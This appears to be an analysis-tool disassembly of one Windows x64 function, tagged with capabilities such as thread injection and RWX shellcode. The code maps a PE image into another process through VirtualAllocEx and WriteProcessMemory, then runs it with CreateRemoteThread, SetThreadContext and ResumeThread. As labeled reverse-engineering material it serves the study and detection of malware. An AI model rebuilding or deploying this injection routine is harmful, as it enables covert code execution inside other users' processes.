Function at 0x140001190
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Resume thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rsi
push r14
push r15
sub rsp, 0x548
mov rax, qword [0x140005040]
xor rax, rsp
mov qword [rsp + 0x530], rax
mov eax, 0x5a4d
mov rbp, rdx
mov r14, rcx
cmp word [rdx], ax
jne 0x14000146a
movsxd rsi, dword [rdx + 0x3c]
mov eax, 0x8664
add rsi, rdx
cmp word [rsi + 4], ax
jne 0x14000146a
mov r8d, dword [rsi + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
jne 0x140001225
mov r8d, dword [rsi + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r15, rax
test rax, rax
je 0x14000146a
mov qword [rsp + 0x580], rbx
mov r9d, 0x1000
mov qword [rsp + 0x588], rdi
mov r8, rbp
mov qword [rsp + 0x540], r12
mov rdx, r15
xor r12d, r12d
mov rcx, r14
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx ebx, word [rsi + 0x14]
mov edi, r12d
add rbx, 0x2c
cmp word [rsi + 6], di
je 0x1400012aa
add rbx, rsi
nop
mov eax, dword [rbx - 4]
test eax, eax
je 0x14000129c
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, rbp
add rdx, r15
mov qword [rsp + 0x20], r12
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x14000138d
movzx eax, word [rsi + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x140001270
mov rcx, rbp
call fcn.1400019a0
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov rcx, r14
lea r8d, [rdx + 0x18]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rcx, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea r8, [rsp + 0x40]
mov qword [rsp + 0x48], rcx
mov r9d, 0x18
mov rcx, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rdx, rax
mov qword [rsp + 0x50], rcx
mov rsi, rax
mov rcx, r14
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rbx, [fcn.140001640]
mov dword [rsp + 0x20], 0x40
lea rbp, [0x140001480]
mov r9d, 0x3000
sub rbx, rbp
xor edx, edx
mov r8, rbx
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
mov rcx, r14
test rax, rax
jne 0x1400013a6
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
xor al, al
mov rdi, qword [rsp + 0x588]
mov rbx, qword [rsp + 0x580]
mov r12, qword [rsp + 0x540]
mov rcx, qword [rsp + 0x530]
xor rcx, rsp
call fcn.140001980
add rsp, 0x548
pop r15
pop r14
pop rsi
pop rbp
ret
mov rcx, rbp
call fcn.1400019a0
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r15
mov rcx, r14
jmp 0x14000134f
mov r9, rbx
mov qword [rsp + 0x20], r12
mov r8, rbp
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0x30], r12
xor r8d, r8d
mov r9, rax
mov dword [rsp + 0x28], 4
xor edx, edx
mov qword [rsp + 0x20], rsi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x4d0
mov rbx, rax
call sub.VCRUNTIME140.dll_memset
lea rdx, [rsp + 0x60]
mov dword [rsp + 0x90], 0x10000b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
lea rdx, [rsp + 0x60]
mov qword [rsp + 0xe0], rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rdi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov al, 1
jmp 0x140001357
mov rcx, rbp
call fcn.1400019a0
xor al, al
jmp 0x14000136f